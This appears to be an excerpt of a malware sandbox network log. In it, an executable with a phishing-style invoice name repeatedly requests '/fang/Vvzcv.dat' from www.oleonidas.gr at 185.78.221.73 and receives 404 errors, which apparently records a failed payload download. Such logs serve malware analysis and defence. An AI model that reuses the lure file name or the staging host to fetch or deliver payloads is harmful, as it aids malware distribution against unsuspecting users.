2024-11-24 15:43:17 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50075	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:19 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:19 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:19 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:19 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50076	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:21 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:22 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:21 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:22 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50077	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:23 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50078	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:25 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:25 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:25 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:25 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	50080	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:27 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:28 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:27 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:28 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	50081	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:29 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:30 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:30 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:30 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50082	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:31 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:32 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:32 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:32 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50083	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:34 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:34 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:34 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:34 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50084	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:36 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:36 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:36 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:36 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50085	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:38 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:39 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:38 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:39 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50086	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:40 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:41 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:40 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:41 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50089	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:43 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:44 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:44 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:44 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50090	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:45 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:46 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:46 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:46 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50091	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:48 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:48 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:48 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
